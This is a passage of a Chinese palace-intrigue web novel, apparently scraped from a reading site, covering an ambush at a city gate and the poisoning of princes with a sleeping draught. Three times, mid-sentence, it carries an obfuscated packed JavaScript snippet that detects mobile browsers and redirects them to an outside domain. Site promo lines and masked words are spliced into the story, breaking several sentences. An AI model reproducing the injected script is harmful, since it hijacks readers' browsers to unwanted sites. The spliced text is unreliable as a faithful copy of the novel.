坐在马车里的云展鹏忍不住问道,“将皇子们都放出去,没问题吗?” 本朝律,皇子是不能轻易出京的。 云筝摊了摊手,很不负责的反问,“关我什么事,这是他们亲爹的意思。” “与其留在京城整天斗的你死我活,不如出去跟当地豪绅世家斗一斗,玻璃的价格太高,只会卖给这些人,也会动了很多人的利益。” “这玻璃是稀罕物,一面世就注定万众瞩目。太暴利了,我们家也拿不住,让皇子们去冲锋陷阵吧。” 云展鹏想想也是,估计皇上嫌他们斗的太难看了。 “这秘方真的交出去了?” 云筝笑眯眯的点头,“真的,不过,暂时掌握在我们父女俩手里。” 这可把云展鹏干沉默了。 也是,谁能在她手里占到便宜呀。 秘方在她手里,制作工艺在她手里,匠人也在她手里,成本价也是她说了算。 不愧是他生的小奸商!青出蓝而胜于蓝!开心! 进城门时,云筝发现城门口堵住了,进出的行人都不动,排成了长龙。 “出了什么事?” 侍卫禀道,“有人被吊在城墙上示众,大家都在看热闹。” 云筝好奇的撩起帘子,抬头望去,一个披头散发的女子被吊在城墙上,面无人色。 正是,叶宜蓁! 一瞬间,云筝就意识到出事了。 但她没料到,今日要出大事了,将所有人都卷入其中。 第237章 出大事了,都疯了! 侍卫去打听了一圈回来,“皇上有令,说这是朝廷钦犯,挂城墙示众七日,七日后处斩。” 云筝眼睛都瞪直了,处斩?难道是丹书铁券没拿到手? “七日?这是放长线钓大鱼,皇上生气了。” “她娘永安呢?” 侍卫神色古怪,“连夜被带走了,不知去了哪里。” 云筝若有所思。 云展鹏关心的问道,“筝儿,怎么了?” 云筝刚想说什么,一个男人不知从哪里冒出来,“云筝。” 他扑了过去,还没靠近,就被侍卫一把推开。 他歇斯底里的大叫,“你救救宜蓁吧,她只是一个柔弱不能自理的弱女子,再这样下去,她会死的!” 云筝定睛一看,是江闻舟,他这么深情?这种时候不离不弃,是不是演上瘾了?演给谁看呀? “这是圣命,谁都救不了她。” 江闻舟眼神微闪,苦苦哀求,“你可以的,你最受皇上宠爱,只要你拿之前的功劳替蓁蓁求情,皇上一定会答应的。” 听听,说的什么鬼话,云展鹏都气炸了,“滚。” 云筝也想揍人,“有病就去治!” 江闻舟扑通一声跪倒在地,大声哀求,“我给你跪下了,求求你,发发善心吧,对你来说,只是举手之劳,但能救下一条活生生的性命啊。” 这是道德绑架,很多不明真相的路人围了过来,将路都堵住了。 江闻舟眼眶泛红,泪流满面,“云筝,我们曾经是一家人,她对你照顾有加,视你如亲妹,你攀上高枝后,却诬陷她,害的她成了朝廷钦犯,你还是人吗?” 路人见一个大男人都哭成这样,不禁同情心泛滥。 “听上去挺惨的的,可怜啊。” “这姑娘看着挺漂亮,没想到心肠这么坏,居然陷害亲人。” “美人蛇蝎,说的就是她,作孽啊。” 不知怎么的,云筝浑身鸡皮疙瘩都起来了,有种被不知名野兽盯上的毛骨悚然。 她不敢多待,无心纠缠,当机立断,“将行人都遣散,别堵住路,我们速速进城。” 侍卫挥赶四周的路人,但江闻舟还在苦苦纠缠,引的看热闹的人不肯离开。 被吊在城楼上奄奄一息的叶宜蓁睁开眼睛,恨意盈燃。 “云筝,是你!” 她快死了,她好怕,好恨。 恨天恨地恨所有人,恨不得让全天下为她陪葬。 她不能活,那大家一起死吧。 她艰难的举起右手,指向云筝,大声尖叫,“官爷,我要检举,这个女人是我的同伙,跟我一起行刺圣驾的同伙。” 她最恨的人就是云筝。 本来一切都好好的,她风风光光的嫁进侯府,成为世子夫人,而云筝就是她和百年侯府的垫脚石,云家的万贯家财是她一世荣华富贵的开端。 可,云筝居然反抗了! 从那一刻起,一切不受控,她的如意算盘被打破,她想要的荣华富贵和万千宠爱就这么没有了。 她总觉得,不该是这样的。 她才是人生赢家,应该将云筝狠狠踩在脚底下! 现扬一片哗然,全乱套了。 行刺圣驾?这么柔弱的女子实在看不出来啊。 一群守门的官兵哗啦啦的涌了出来,围住云筝的马车。 云筝抬起头,看着那个狼狈到了极点,却面色狰狞,满眼怨恨的叶宜蓁。 这是穷途末路了? 云筝忽然指向那个暗自得意的男人,“官爷,这是犯妇的夫君,他违抗圣命,趁乱想救人,快把他抓起来。” “他们夫妻恩爱,就该同生共死,送他一起吊城楼,这么一来,也算是成全了他的一片痴心。” 江闻舟闻言,一脸的错愕。 “云筝,你怎么这么恶毒?” 几位皇子所坐的马车赶了上来,三皇子撩起窗帘,大声喝斥,“这是怎么回事?怎么都站在这里?赶紧散开,别挡路。” 江闻舟瞳孔剧震,这是三皇子! 人群里忽然爆出一声,“官爷,这人也是同伙,快把他抓起来。” 官兵围了过去,三皇子勃然大怒,钻出马车,站在车夫旁边,高举皇子令牌,“瞎了你们的狗眼,本皇子在此,谁敢乱来?还不速速退下。” 令牌在阳光下散发着耀眼的光芒。 忽然,云筝眼角闪过一道冷光,“三皇子,小心。” 她的反应极快,第一时间扯下腰间的玉佩,狠狠砸向三皇子的面门。 三皇子下意识的侧头,避开玉佩。 “云筝,你又发什么疯……” 一支长箭嗖的擦过他的耳边,就差一点点。 如果没有云筝的话,这一箭正中三皇子的眉心,一箭毙命! 他吓出一身冷汗,全身颤栗,车夫飞快将他推回马车,抽出武器护驾。 侍卫们纷纷涌过来,护在马车四周。 马车内,四位皇子面色仓惶,居然有人敢在京城的城门口伏击皇子,疯了吗? 这是造反! 云筝的马车也被攻击了,箭矢如雨点般射过来,家丁和侍卫们纷纷抵抗。 路人的惨叫声此起彼伏,一个个倒在血泊中。 现扬一片混乱,血流长河。 宫中,御书房,皇上跟一众重臣商量事情。 其中,就有前首辅,他连夜被叫到宫中,至今没有休息过,脸色浮肿,很是难看。 “皇上,贸然将叶宜蓁吊在城楼,七日后处斩,此举有些不妥。” 皇上冷冷的看着他,“哪里不妥?” 前首辅劝道,“永安出使南粤国,她就叶宜蓁一个女儿,若叶宜蓁处斩的消息传到她耳边,恐怕会生变。” 皇上扬了扬眉,“你是说,永安手里有底牌,还有能力搅乱朝局?” 前首辅在心里轻叹,帝王是这世间最小气的人。 “她毕竟是大齐的公主,知道很多大齐的机密,若将机密告知南粤国皇帝,对我大齐极为不利。” 陈阁老皱着眉头,“我也觉得不妥。” 一名太监惊惶失措的冲进来,“皇上,大事不好了。” 皇上勃然大怒,“擅闯御书房,拖出去打二十大板。” 太监急的面红耳赤,“四位皇子和锦云郡主在东城门遭遇伏击,危在旦夕。” 如一道惊雷砸下来,所有人都变了脸色,惊惧万分。 皇上心跳如雷,猛的站起来,大声下令,“让京营,三千营,神机营速去救援,不惜一切代价救下他们,快去。” “是。” 皇上脸色阴沉的可怕,“叶宜蓁被吊在哪座城门口?” “就在东城门。” 皇上浑身杀气腾腾的,“传朕旨意,将叶宜蓁凌迟,千刀万剐。” 他冰冷的眼锁定前首辅,“你,亲自动手。” 前首辅的心如坠冰窟,遍体发寒。 第238章 挺身而出,独撑大局 马车内,云家父女安静的坐着,神色紧张。 虽然云展鹏害怕的嘴唇哆嗦,但还在努力安慰女儿,“筝儿,你别怕,不会有事的。” 云筝神色冷静的可怕,经历了几次刺杀,她的心理素质强的可怕。 “父亲,您忘了这马车是特制的吗?水火不侵,刀枪不入。” 重生后,为了以防万一,她特意花重金打造了两辆马车,车窗门一关,就是一个移动的小城堡。 一辆是自己平时用,一辆给父亲上下朝代步用,如今,让给四位皇子坐着呢。 所以,只要他们不出去,就不会有事。 云展鹏也是见过世面的,走南闯北,遇到过不少危险,但没有像这次凶险的。 这些刺客武功高强,悍不畏死,应该是死士。 什么人家敢养死士?他都不敢细想。 “可,刺客要是杀过来,强行打开马车……” 云筝轻声安慰道, “放心,这些刺客不敢恋战的,侍卫们应该能拖到三大营到达,那时,他们就没有机会了。” “再说了,他们只是打了一个出奇不意,等守卫反应过来……” 说着说着,她的脸色忽变,“不好。” 云展鹏吓了一跳,“怎么了?” 云筝刚想说什么,外面传来喧哗声。 “郡主,官兵来了。” 一群全身武装的士兵飞奔而来,刺客头领见状,遗憾的看着两辆纹丝不动的马车,要是再给他一点时间,一定能攻下。 “撤。” 一声令下,刺客们飞身而起,迅速逃逸。 但,刚跑出几步,迎面又有一支士兵举着弩箭冲过来。 头领瞳孔剧震,“不好,居然是神机营,来的好快。” 无数箭矢飞过来,他极力挥剑抵挡,但,实在太多了,一不小心就受伤了。 眼见逃不了,他一横心,大喊一声,“为主子尽忠。” 他反手一横,毫不犹豫的抹了脖子,血流如注,轰然倒下。 “为主子尽忠。” 所有刺客纷纷自尽,动作之绝决,让人胆寒。 开始的仓促,结束的也仓促,仅仅是一炷香的时间。 神机营的将领看着一地的死士,脸色难看到了极点。 没有一个活口! 他上前问安,看到马车里神色仓惶的皇子们,又惊又怕。 “快,护着皇子们进宫,不能再出半点差错。” 他一声令下,带着一群士兵护着皇子的马车狂奔而去。 明镜司也赶来了,跟这一行人擦身而过。 为首的谷雨面色焦灼,飞奔向那辆熟悉的马车。 “锦云郡主,您没事吧?” 云筝打开窗子,露出苍白美丽的脸。“我没事。” 她看向楼城,果然,没有了叶宜蓁的身影,只有一根割断的绳子。 “叶宜蓁被刺客救走了。” 城楼这边有一支小队守着叶宜蓁的,但事发时,全都跑下来救驾了。 “去找江闻舟,他应该跟那些刺客联手了,快抓住他。” 谷雨吩咐了一句,下面的人四处散开,不一会儿回来复命。 “人不见了,这里不安全,属下护送您离开这里。” 云筝看向四周的惨状,眼中闪过一丝不忍,“这里更需要有人站出来主持大局,身为朝廷的官员,我责无旁贷。” 前首辅晚了一步到达现扬,只看到无数受伤的百姓,中箭的,踩踏的,死伤无数。 他的一颗心往下沉。 叶宜蓁被人救走了,那,等着他的将是皇上的暴怒,家族即将遭遇灭顶之灾,除非…… 他看向正在主持大局的女子,心中百味俱陈。 云筝忙的不行,“把所有受伤的人送去各家医馆。” “召集所有医者救治,动作要快,救人如救火。” “这些死难之人全送去郊外义庄,统一办葬礼。” “去,通知家属。” “凡是遇难者,每人都给五十两的抚恤金,受伤者每人二十两,所有费用由内务府出。” 她站在人群中,却闪闪发亮,第一眼就看到了她。 她像一个定海神针,安抚了大家悲伤惊恐的情绪,第一时间稳定了局面。 一声声谢郡主,都是民心所向。 前首辅走了过来,拱了拱手,“见过锦云郡主。” 云筝立马看了过来,“段大人,您怎么来了?” 前首辅看着这个瘦弱的女子,心中说不出是什么滋味。 这种时候最需要皇室站出来安抚人心,可,那些皇子都跑了,只留下一个锦云郡主独撑大局,就很难评。 这民心啊,就这么被云筝得了。 “几位皇子都进了宫,郡主你也快去吧,皇上召见。” “行,这里就交给您主持大局。”云筝毫不犹豫的转身离开。 前首辅看着她远去的背影,神色更复杂了。 “爹,您先回家吧,别让娘担心。” 云展鹏一脸骄傲的看着女儿,关键时刻挺身而出,为政者,为国也。为官者为民也。 “注意安全。” 云筝指了指寸步不离她左右的侍卫们,“放心,明镜司会保护我。” 皇宫,气氛极为压抑,太医们围着皇子们打转,后宫嫔妃齐聚于此,神色各异。 皇上看着狼狈的儿子们,心中怒极。 大皇子的胳膊中了一箭,当时是坐在窗边,危险时来不及关窗子,就这么中箭了。但,不管怎么说,只是皮肉伤,没有大碍。 四皇子受惊过度,不小心撞在车壁上,额头乌青。 二皇子和三皇子倒是没受一点伤,就是面色惊惶,后怕不已。 听完太医的禀报,皇上暗暗松了一口气,“到底是谁这么心狠手辣?连皇子都敢动!朕要诛他九族!” 敢对皇室下手,不外乎镇南王旧部和前朝皇室余孽。 若没有猜错,这两股势力早就勾结起来了。 皇后眉头紧皱,“怎么这么巧一起遭遇伏击?是被人算计了吧,对了,你们几个好端端的怎么就一起出城了?” 几个皇子相视一眼,云筝? 二皇子大声嚷嚷,“不可能,纯属巧合,不可能是锦云郡主。” 皇后的眼睛微眯,“这话天真了,很多巧合往往是人为制造的。” “不早不晚,偏偏在这个时候,大有将我大齐皇室子嗣一网打尽的架式,太可怕了。” 雷心恬面色惊疑不定,忽然大声问道,“皇上,锦云郡主真的没有问题吗?” 全扬一静,气氛更加古怪了。 第239章 这是要团灭? 一道清脆的声音响起“我有什么问题?” 是云筝她就站在门口冷眼看着这一幕。 雷心恬没想到会被抓包短暂的惊慌后就镇定下来。 “我只是担心皇子们的安危你别多心。” 她装模作样的惊问“咦没有通报你怎么进来了?” 云筝很不耐烦“你眼瞎啊我站在门口没有进去。难不成还怕我变成刺客飞扑过来刺杀你吗?你配吗?” 雷心恬脸都绿了“我是皇上的妃子你对我无礼就是对皇上不敬。” 雷家因云筝而毁她岂能不恨? 云筝心情不大好怼了一句“你想要跟皇上一样的待遇啊?皇上您何时将她捧为皇后了?恕我消息闭塞都没有赶上册封大典。” 皇后脸色黑的可怕雷心恬吓白了脸“你别胡说你就这么见不得后宫一片祥和吗?” 云筝都乐了后宫祥和?这是天大的笑话自古以来后宫都是你死我活的战场。 赢了可以权倾天下输了尸骨无存。 “扑哧皇上您千万别让她生孩子孩子的智商随母亲万一生出一个**就麻烦了。” 雷心恬脸色大变她想生一个流有雷家血脉的孩子这样一来 但一直没怀上。 云筝这是要绝她的后路啊好恶毒。 皇后微微蹙眉“锦云你的反应有些过激了。” 云筝抬头深深的看了她一眼“嗯受了刺激有着强烈的保护意识。” 皇上打量了她两眼“锦云让太医给你好好看看。” 太医立马上前替她诊治半晌后太医禀道“锦云郡主受了惊吓喝一碗安神汤就好了。” 皇上吩咐下去“来人把安神汤速速熬好送来多煮点大家都受了惊吓都喝一碗。” “是。” 云筝直接禀道“皇上那些人显然是为了救叶宜蓁而来他们成功了!” 皇上眼神晦暗“朕早就料到了已经防了一手。” 行吧他都这么说了云筝没有多追问如果真想弄死叶宜蓁直接一刀毙命没必要将人吊在城楼七日。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她随口笑问“那皇上料到我们会被伏击吗?” 皇上没好气的瞪了她一眼心眼真多。 他真的没有怀疑她! “这纯属意外你也别多心。” “说起来要不是你当机立断拿玉佩砸向三皇子他恐怕悬了。” 他夸了云筝几句还教育儿子们。 “你们平时打打闹闹就算了关键时刻要一致对外这一点锦云做的很好。” “三皇儿你还不快谢过锦云?” 三皇子迟疑了一下心情非常复杂。 云筝把他的母家害成那样但又救了他这能恩怨两消吗? 雷心恬脸色微变“皇上臣为君纲身为臣子舍命救皇子那是她的本份何须言谢。” 她说的理直气壮不想认这个人情。 云筝笑眯眯的开口“你们雷家是怎么失去爵位?怎么满门流放的?哦是勾结盐商冲撞圣驾对皇上不敬臣为君纲你可是罪臣之女啊啧啧啧。” 她一掐一个准直刺雷心恬的要害气的发疯“你闭嘴。” 云筝呵呵一笑“皇上您还是太宽厚了居然没有株连雷家女把她惯的哟以为她能代表君王的意志呢。” 这指控太严重雷心恬瑟瑟发抖又气又怒。 三皇子及时站了出来拱了拱手“多谢郡主援手。” 云筝神色淡淡的“不必谢我是看在皇上的面子上不想让他承受丧子之痛。” 皇上嘴角轻轻上扬她还是最忠心无人可及。 皇后见状眼神微凉。 外面传来声音“禀皇上 “让他们进来。” 三部门都负责此案三人进来行礼后刑部尚书先开了口“启禀皇上我带人去了平西侯府平西侯和江闻舟江闻云两兄弟不在府中据说去了郊外打猎。” “府中只有侯夫人和江小姐以及几个庶出子女。” “江家上下全部打入大牢已经派人去缉拿平西侯父子。” 皇上冷冷的声音响起“胆敢反抗杀无赦。” “是。” 大理寺卿禀道 你的朋友正在书荒,快去帮帮他吧 “臣已经接手此案,严查这些刺客的来历,追查刺客同伙的去向,相信很快就会有结果。” 立春禀道,“臣在案发地查到了不少线索,刺客是潜伏在郊外一座农庄,经查,之前是平西侯江家的,如今转手成了钱家的。” 皇上的眼睛眯了起来,“钱家?” “江南总督府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204669|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 皇上面色一冷,“继续查,不管查到谁都绝不姑息。” “是。” 除此之外,还要跟各位当事人录口供,大理寺卿神色恭敬的看向各位皇子,“麻烦各位跟我说说当时的过程。” 三皇子举起手,“我先来吧。” 轮到云筝时,大理寺卿多问了一句。 “郡主,您为何要邀请各位皇子去郊外?” 云筝只看向君王,“皇上,能说吗?” 事关琉璃,在没有推出来前,皇上并不想走漏风声。 “是朕的主意。” 都这么说了,大理寺卿不敢再继续追问,“那我没有问题了。” 表面看,他们是倒霉,正好撞上了。但不排除有人提前通风报信。 一行人去郊外的行踪隐秘,但这动静瞒不过有心之人。 就在此时,太监拎着一个大茶壶进来,“禀皇上,安神汤熬好了。” 太监倒了几杯茶出来,依次先送到帝后面前,再送到皇子面前,最后一个是云筝。 “锦云郡主,这是您的那一份。” 云筝微微颌首,摸了摸茶碗,还有些微烫,就先放一放。 太监轻声劝道,“这安神汤要是放凉了,就失了大半的疗效,郡主快喝吧。” 云筝抬头看向四周,除了帝后还没喝外,皇子们都在喝汤,“行。” 她端起茶碗放到嘴里,忽然顿住了。 “试过毒了吗?” 太监恭敬的禀道,“自然是试过了。” 雷心恬看不顺眼,“几位皇子都喝了,就你事多,非要显摆自己多受宠,是吧?” 其实,云筝是有点嫌弃茶碗,也不知多少人喝过了。 她有点小小的洁癖,平时吃饭喝水的碗筷碟杯都是专用的,出门也会带上一套备着。 “羡慕?这宠爱送你,要不要?” 雷心恬气愤不已,一把抢过茶碗,“要,为什么不要?哼。“ 她想喝还轮不到呢,这哪是茶汤,分明是圣眷。 云筝是身在福中不知福,可恶。 她刚喝下安神汤,耳边就传来惊恐的尖叫声。 “不好,安神汤有毒。” 大皇子喷出一口黑血,所有人都变了脸色。 雷心恬眼前一黑,完了! 第240章 解药只有一颗! 大皇子一吐黑血吓坏了一众人。 皇上惊怒交加大声喝道“一定要治好皇子们要是他们有个三长两短谁都别想活。” “是。”太医们一涌而上各负责一个皇子又是催吐又是喂特制的解毒丸又是让宫人取绿豆汤灌肠又是扎针缓解毒性蔓延。 一时之间现场乱哄哄的。 皇上怒气冲天敢在他的眼皮底下毒好大的胆子。 他看着自己的那个茶碗让人验毒。 医正验了半天眉头紧蹙似乎很困惑。 “医正这到底是什么毒?” 医正面色不好看“臣从未见过这种毒一时分辨不出来。” 大家的心悬了起来特制的解毒丸只能缓解毒性再想办法对症下药。 若是奇毒都验不出成分怎么解毒? 皇上忍不住迁怒“那个试毒的狗奴才呢?” 太监神色紧张这些都是他一手安排的谁知道会出岔子。 “他刚才去茅房了。” 逃了?皇上的眼睛危险的眯了起来杀气腾腾的。 一群逆臣贼子。 “去搜把人抓回来。” 不一会儿侍卫就拎着一具尸体回来还热乎呢。 “禀皇上小安子毒发了。” 皇上闭了闭眼强自冷静“封锁现场拿下所有接触过安神汤的人严刑拷打一定要查出来。” “传朕的旨意没有朕的允许任何人都不许走动。” 云筝安静的坐在角落里一声不吭暗自心惊。 那只黑手伸的太长都潜伏到皇上身边了。 她眉头微蹙这么看来皇宫也不安全。 一个身影倒在地上痛苦的呻吟“救我快救我。” 是雷心恬她也毒发了痛苦的蜷缩在地上满头大汗。 但太医们只顾救治皇子哪顾得一个小小的美人。 她艰难的用尽全身力气大声喊叫“皇上我不想死救救我。” 皇上这才注意到她 “是。” 其实张太医并不擅长解 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 毒,只是将太医院配置的解毒丸塞进雷心恬的嘴里。 就在此时,医正忽然大声说道。 “皇上,我想到了,这是前朝皇室秘药,陀罗香,剧毒无比,是用来惩罚犯事的嫔妃。” “虽然我们用了解毒丸暂缓毒性,但撑不了多久。” 前朝皇室?皇上心底升起一丝寒意,这么多年过去了,居然还想死灰复燃? “医正,你说你解不了?” 医正心里慌的要命,“这是秘药,成分很复杂,得需要一段时间研究,可,现在皇子们撑不了那么久。” 皇上怒气冲冲的喝道,“朕命令你们,不惜一切代价治好皇子们,否则,抄家问斩。” 太医们瑟瑟发抖,惊恐万状。 “不好,雷美人她……” 大家眼睁睁的看着着雷美人一口一口吐黑血,吐到两眼翻白,却束手无策。 她最后一个喝汤,但,也是最后一个服下解毒丸,毒已攻心。 云筝一想到她差一点中招,就浑身冰冷。 忽然,医正看了过来,“锦云郡主,听说你跟赫赫有名的鬼医有交情,他医毒双绝,在制毒方面无人是对手,不知他有没有送你解百毒的药丸?” 所有人的目光齐刷刷的看过来,眼神充满了期待,渴望,和狂喜。 云筝不假思索的点头,“有。” 大家喜出望外,没想到峰回路转。 医正欣喜不已,“太好了,救人如救火,还请锦云郡主伸出援手。” 云筝沉默不语。 皇后忽然冷哼一声,大声质问,“怎么?锦云郡主不肯救人?” 云筝皱着眉头,一脸的为难,“禀皇上,鬼医确实送了我一颗清心百毒丸,我特送给皇上。” 她恭恭敬敬的双手呈上一个晶莹剔透的玉瓶。 皇上倒出来一看,是一颗散发着清香的药丸。 关键是,只有一颗。 这给谁好呢? 皇后见状,眼神微闪,“锦云郡主,你怎么可能只得到一颗?是你不肯给吧?皇上待你不薄,切不可恩将仇报。” 云筝确定了,皇后不知吃错了什么药,忽然对她很不满。 因为她没有站在四皇子这一阵营? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 有时候,不肯站队也是一种错。 她没有正面扛,而是看向医正。 “医正,听你的口气,对鬼医有所了解,清心解毒丸有多珍贵,您应该很清楚吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204670|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医正默了默,面对众人满怀希望的眼神,他的压力很大。 “清心解毒丸是世间解毒圣品,汇集了几十种珍贵药材,花费无数精力和心血才得一两丸,能解百毒,江湖中人无不趋之若鹜,万金求购。” 皇后一脸的意外,“这么珍贵?” 医正眼巴巴的看着皇上手里的药丸,眼神灼热,很想抢过去研究。 “岂止是珍贵,有了此丸,等于多了一条命。” 皇上闻言,小心翼翼将药丸塞回玉瓶。 云筝趁机说道,“皇上,我送了您一条命,忠心天地可鉴啊。” 皇上微微颌首,“朕知道你的忠心。” “皇后是深宫女子,她不懂这些,你别放在心上。” 皇后的表情僵住了,不敢相信皇上为了一个女子这么说她,不给她留情面。 这么一来,她在臣子面前还有什么威望可言?可恶! “臣不敢。” 皇上心思飞转,“朕想见见鬼医,锦云,你觉得如何?” 见人是假,是想让鬼医一起救人。 云筝眼睛都没有眨一下,不假思索的说道,“全天下都是您的臣民,您想见,那就见!” 皇上对她的态度非常满意,这才是忠心耿耿的好臣子,时时为君王分忧。 不像那些阳奉阴违的家伙,总在暗中搞事情。 “好好好,你是好的。” “来人,宣召鬼医进见。” “是。” 宫人匆匆退下。 痛的满头大汗的四皇子眼巴巴的看着玉瓶,“父皇,儿臣快熬不住了,求父皇赐药。” 他是明着要,二皇子就不一样了,可怜巴巴的说道,“父皇,儿臣是个残废,别将如此珍贵的解毒丸用在我身上。” 奄奄一息的大皇子眼睛都睁不开了,还在费力的说话。 “父皇,儿臣的情况最严重,感觉快**,没必要浪费药丸,给弟弟们服下吧。” 三皇子更是眼眶泛红,一脸的不舍,慕孺之情溢于言表。 “父皇,儿臣往后不能在您膝下尽孝了,您要保重身体。” 云筝无声的叹气,个个都不是省油的灯,花样百出。 就是不知道,这颗药丸会花落谁家。 这哪是解毒丸,分明是圣心。 是皇上选择未来的储君! 第241章 发刀片,先死一个 皇后不禁急了,“皇上,四皇子是正宫嫡子,不容有失啊。” 从她收养四皇子的那一刻起,就一荣俱荣,一损俱损,利益绑定了。 只有四皇子登上皇位,她才能成为后宫真正的女主人,笑到最后。 二皇子生出一丝怨气,“所以,我们活该**吗?” 皇上陷入了挣扎,手心是肉,手背也是肉,都是亲生的,折损了哪个都心疼。 一时之间,左右为难。 他忽然开口说道,“锦云,你说,这颗药丸给谁服下?” 现场气氛一变,所有人的目光都看向了云筝。 皇后不敢置信,皇上真是疯了,居然将最后决定权交给了云筝。 就是说,云筝可以决定皇子们的生死? 这也太荒唐了。 “皇上,您看看我啊……”一个尖锐的声音猛的响起。 雷心恬一口黑血喷出来,轰然倒地,七窍流血而死。 全场一片寂静,呆呆的看着地上的女子。 之前闹的轰轰烈烈的雷家女,就这么**?! 张太医探了探她的鼻息,又把了把脉,一脸的沉痛。 “皇上节哀,雷美人毒发身亡了。” 皇上挥了挥手,“抬下去厚葬。” 众人目送雷美人被抬下去,更惶恐不安了。 四皇子忽然大声说道,“锦云郡主,过去我对你有误会,不太礼貌,在此我向你道歉,希望你原谅我。” 他嘴唇发紫,**已深,说话都大喘气。 “我发誓,以后会善待你,视你如亲妹,给你最大的尊重和荣耀。” 二皇子眼神一闪,“锦云郡主,我有没有说过,我很欣赏你,你的胆识,你的勇气,你的才华,都胜过无数男儿。” 大皇子也急了,“锦云郡主,我很喜欢你,被你的聪慧和善良所折服,真希望以后还有机会来往。” 为了活下去,大家挖空心思讨好云筝。 反倒是三皇子,一声不吭。 皇上有些稀奇,“三皇儿,你不想说些什么?” 三皇子轻轻叹了一口气,“尽人命,听天意,若这是我的命,我……只能接受。” “锦 听说看这本书的人都是很幸运的,分享后你的运气会更棒 云郡主你倒是说句话啊。” 云筝的视线扫过众人无奈极了。 “皇家的事不是我一个臣子能掺和的臣时刻谨记为臣之道。” 她傻了才会掺和进去。 保了一个就得罪了其他三人。 若是有个三长两短这几方背后的势力都不会放过她。 而且皇上事后一想到这事如鲠在喉会迁怒于她。 平时再怎么不喜 疏不间亲新不加旧她还是懂的。 她行了一礼“皇上您是天下共主也是皇子们的父亲请圣心独断。” 众人:…… 皇上深深的看了她一眼不得不说她知进退识大体很有边界感。 医正催促道“皇上还请尽快做决定。” 皇上深吸一口气“来人一切四。” “切成四份每人一份朕不偏不倚。” 可是这有用吗?大家面面相觑。 皇后忍不住开口“皇上这份量不足恐怕没什么效果。” 皇上反问道“那你说怎么办?给谁好?” 皇后理所当然的说道“当然是给四皇子按礼制立长立嫡四皇子是正宫之子是嫡子代表着正统。” 皇上眼中闪过一丝恼意“他们都叫你母后都是你的孩子你如此偏袒可还行?” 皇后义正言辞的说道“臣妾对天发誓绝无半点私心全是为了江山社稷着想。” 皇上很失望“俗话说的好关键时刻才会暴露本性皇后你太着急了。” “来人将药丸分发下去。” 药一到了皇子手里先不管三七二十一服下再说。 太医们紧张的盯着“怎么样?有没有效果?” 不知过了多久大皇子伸手抹去额头的汗珠“儿臣感觉好多了疼痛轻了没有刚才的撕心裂肺。” 其他皇子也有了明显变化。 皇上大喜“果然是好东西鬼医怎么还没来?快去催。” 就在此时外面传来通禀“禀皇上鬼医到了。” 皇上迫不及待的下令“快 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 让他进来。” 鬼医一进门就四处张望,看到俏生生坐在角落,安然无恙的云筝,不禁松了一口气。 没事就好。 云筝冲他微微颔首,两人交换了个眼色。 鬼医这才见礼,“草民见过皇上。” 皇上没有心情寒暄,“闲话少说,快救人。” 鬼医一出手,就知道有没有,一搭脉就说道,“这是中了陀罗香。” 众人的眼睛亮了,“对对对。” 鬼医收回把脉的手,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204671|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇子服了我的清心解**丸,但份量不够,只是扼制了毒性,却无法根除。” 医正又惊又喜,“真是神了,还请鬼医出手。” 也不是太医院的医术不行,而是,专注的领域不同。 太医是为皇家服务,治病就好,专门研究**会引起皇家的忌惮。 而,鬼医研究各种毒,术有专精。 “我只炼制了两颗清心解**丸,一颗给了锦主郡主,一颗自备。” 一名太医眼神闪了闪,“那,把清心解毒丸的配方交给我们,我们自己去配。” 鬼医冷冷扫了一眼,“你是谁?” “在下姓张。” 鬼医冷笑一声,“嘴巴一张,就要别人的秘方,脸皮真厚。” 但凡扯上秘方,都是极为珍贵的东西,像清心解毒丸这种神药,捧着钱都买不到。 张太医怎么会不懂这道理,就是故意的。 一道清喝声猛的响起,“你不识大体,没有半点忠心,这是锦云郡主教你的?” 是皇后,盛气凌人。 被称为鬼医,不光是因为医毒双绝,还因为行事亦正亦邪,全凭自己的喜好。 “呵呵,你算什么东西,敢跟老夫这么说话?老夫行走江湖时,遇到你这种缺德玩意,立马毒杀全家,鸡犬都不留。” “你……”皇后的脸色发黑,张了张嘴,终究有些忌惮,瞪了云筝一眼。 “云筝,你怎么不管好他?” 云筝眼神微冷,看来是不能善了,“他是长辈,又不是家奴。” 